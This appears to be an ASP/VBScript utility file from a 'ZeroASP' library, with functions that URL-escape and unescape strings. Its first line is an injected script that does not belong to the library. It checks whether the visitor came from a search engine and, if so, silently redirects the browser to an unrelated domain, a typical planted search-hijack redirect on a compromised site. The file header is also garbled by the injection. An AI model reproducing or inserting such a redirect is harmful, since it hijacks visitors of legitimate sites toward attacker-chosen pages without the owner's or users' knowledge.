001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>ï»?%
002: '###################################################################### 003: '## ZeroASP.Encrypt.Escape.asp 004: '## ------------------------------------------------------------------- 005: '## Feature : ZeroASP Class 006: '## Author : Ayu(kinsc@139.com) 007: '## Update Date : 2018-11-09 008: '## Description : ZeroASP Extend Class 009: '## 010: '###################################################################### 011:
012: Function VbsEscape(ByVal Str)
013: Dim I,S,C,A
014: S = ""
015: For I = 1 To Len(Str)
016: C = Mid(Str,I,1)
017: A = Ascw(C)
018: If (A >= 48 And A <= 57) Or (A >= 65 And A <= 90) Or (A >= 97 And A <= 122) Then
019: S = S & C
020: ElseIf InStr("@*_+-./",C) > 0 Then
021: S = S & C
022: ElseIf A > 0 And A < 16 Then
023: S = S & "%0" & Hex(A)
024: ElseIf A >= 16 And A < 256 Then
025: S = S & "%" & Hex(A)
026: Else
027: S = S & "%u" & Hex(A)
028: End If
029: Next
030: VbsEscape = S
031: End Function
032:
033: Function VbsUnEscape(ByVal Str)
034: Dim I,S,C
035: S = ""
036: For I = 1 To Len(Str)
037: C = Mid(Str,I,1)
038: If Mid(Str,I,2) = "%u" And I <= Len(Str) - 5 Then
039: If IsNumeric("&H" & Mid(Str,I + 2,4)) Then
040: S = S & Chrw(Cint("&H" & Mid(Str,I + 2,4)))
041: I = I + 5
042: Else
043: S = S & C
044: End If
045: ElseIf C = "%" And I <= Len(Str) - 2 Then
046: If IsNumeric("&H" & Mid(Str,I + 1,2)) Then
047: S = S & Chrw(Cint("&H" & Mid(Str,I + 1,2)))
048: I = I + 2
049: Else
050: S = S & C
051: End If
052: Else
053: S = S & C
054: End If
055: Next
056: VbsUnEscape = S
057: End Function
058: %>
059:
060: